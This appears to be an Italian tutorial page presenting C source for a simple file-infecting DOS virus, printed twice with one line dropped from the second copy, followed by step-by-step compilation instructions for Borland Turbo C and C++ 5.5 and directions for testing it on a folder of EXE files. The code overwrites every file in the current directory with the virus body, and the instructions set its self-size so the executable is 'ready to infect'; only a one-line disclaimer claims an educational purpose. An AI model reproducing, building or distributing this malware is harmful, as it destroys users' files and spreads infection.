CODICE
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
Metodo di Compilazione:
UTILIZZARE BORLAND TC + + 3.0 (16-bit):
1. Caricare il programma nel compilatore, premete Alt-F9 per compilare
2. Premere F9 per generare il file EXE (non premere CTRL-F9, Questo infettare tutti i file nella directory Compreso il compilatore)
3. Annotare la dimensione del file EXE generato in byte (vedi proprietà Exe per la sua dimensione)
4. Modificare il valore di X nel codice sorgente con il annotato dimensioni (Nel codice sorgente SOPRA x = 89.088; cambiarlo)
5. Ancora una volta seguite il passo 1 e Passo 2,adesso il file EXE generato è pronto a infettare
Utilizare Borland C++ 5.5 (32-BIT):
1. Compilare una volta, annotare il file EXE generato lunghezza in byte
2. Modificare il valore di X nel codice sorgente di questa lunghezza in byte
3. Ricompilarlo.Il file EXE è pronta ad infettare
Come Testarlo:
1. Aprire nuova cartella vuota
2. Mettere alcuni file EXE (cercando *. EXE IN RICERCA & incolla Nella nuova cartella)
3. Eseguire il file EXE virus lì potrete vedere tutti i file nella directory corrente vengono infettati.
4. Tutti i file infetti saranno pronti a reinfettare
download borland
ATTENZIONE: solo per scopi didattici. NON diffondere o sfruttare il codice del virus